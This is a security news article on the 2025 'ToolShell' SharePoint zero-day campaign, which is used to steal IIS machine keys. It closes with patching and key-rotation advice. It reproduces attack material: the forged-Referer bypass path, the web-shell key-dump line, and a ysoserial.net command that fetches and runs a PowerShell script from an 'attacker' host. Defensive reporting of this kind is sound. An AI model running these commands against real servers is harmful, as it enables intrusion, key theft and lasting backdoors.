Hackers Target SharePoint Flaw to Access IIS Machine Keys

Zero-day exploits against Microsoft SharePoint are enabling attackers to extract IIS machine keys, establishing persistent backdoors that survive patches and reboots.

In mid-July 2025, threat actors began abusing two critical SharePoint vulnerabilities—CVE-2025-53770 (deserialization, CVSS 9.8) and CVE-2025-53771 (authentication bypass, CVSS 6.3)—in an attack campaign dubbed “ToolShell”.

The campaign’s ultimate goal is harvesting IIS machine keys, which protect ViewState, cookies, and session data via MAC validation and optional encryption.

Attack Chain Overview

1. Authentication Bypass (CVE-2025-53771):
   Attackers send crafted POST requests to /_layouts/15/ToolPane.aspx with a forged Referer: /_layouts/SignOut.aspx header, tricking SharePoint into an authenticated state.
2. Remote Code Execution (CVE-2025-53770):
   Exploiting a deserialization flaw, attackers submit malicious payloads to arbitrary endpoints, leading to ASPX web shell deployment.
3. Machine Key Extraction:
   The deployed shell (e.g., spinstall0.aspx) uses reflection to load System.Web.Configuration.MachineKeySection and invokes its nonpublic GetApplicationConfig method to retrieve ValidationKey and DecryptionKey. Leaked keys appear as:

Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);

IIS machine keys ensure ViewState integrity via SHA1 or HMACSHA256 MACs, and optionally encrypt ViewState. By default, ViewState MAC is enabled but encryption remains “Auto” (disabled), exposing data to potential tampering if keys leak.

Possession of valid machine keys allows attackers to craft malicious ViewState payloads signed with stolen keys. IIS’s LosFormatter deserializes these payloads, triggering code execution using gadget chains (e.g., TextFormattingRunProperties).

Machine keys reside either in web.config (administrator-defined) or auto-generated in the Windows Registry under HKCU\Software\Microsoft\ASP.NET\<version>\AutoGenKeyV4.

Basic shells extract keys from web.config, but advanced scripts—like those by Soroush Dalili—scan registry locations, ensuring key theft even when auto-generated.

Example registry read:

byte[] key = (byte[])Registry.GetValue(

  "HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\",

  "AutoGenKeyV4", new byte[]{});

With stolen keys, attackers use ysoserial.net to generate signed ViewState payloads:

ysoserial.exe -p ViewState -g TextFormattingRunProperties \

-c "powershell -exec bypass -Command 'IEX (New-Object Net.WebClient).DownloadString(\"http://attacker/shell.ps1\")'" \

--validationkey="[KEY]" --validationalg="HMACSHA256" \

--path="/app" --apppath="/app"

Submitting this payload to any ASPX endpoint triggers deserialization and remote code execution, effectively installing a persistent backdoor.

CISA added CVE-2025-53770 to its Known Exploited Vulnerabilities catalog and urged immediate patching and key rotation. Microsoft recommends rotating machine keys and restarting IIS using PowerShell cmdlets:

Set-SPMachineKey

Update-SPMachineKey

Until key rotation occurs, stolen keys remain valid, allowing attackers ongoing access.

These incidents highlight a systemic issue: exposed machine keys in code repositories and documentation—over 3,000 publicly disclosed keys identified—pose an immediate risk to any ASP.NET application using them. Best practices include:

• Using auto-generated keys over static keys
• Enabling ViewState encryption alongside MAC validation
• Implementing periodic key rotation and auditing configurations

The SharePoint ToolShell campaign underscores the criticality of cryptographic key management.

Organizations must not only patch vulnerabilities but also proactively manage and rotate machine keys to thwart persistent, cryptography-based backdoors in their IIS environments.

Find this News Interesting! Follow us on Google News, LinkedIn, and X to Get Instant Updates!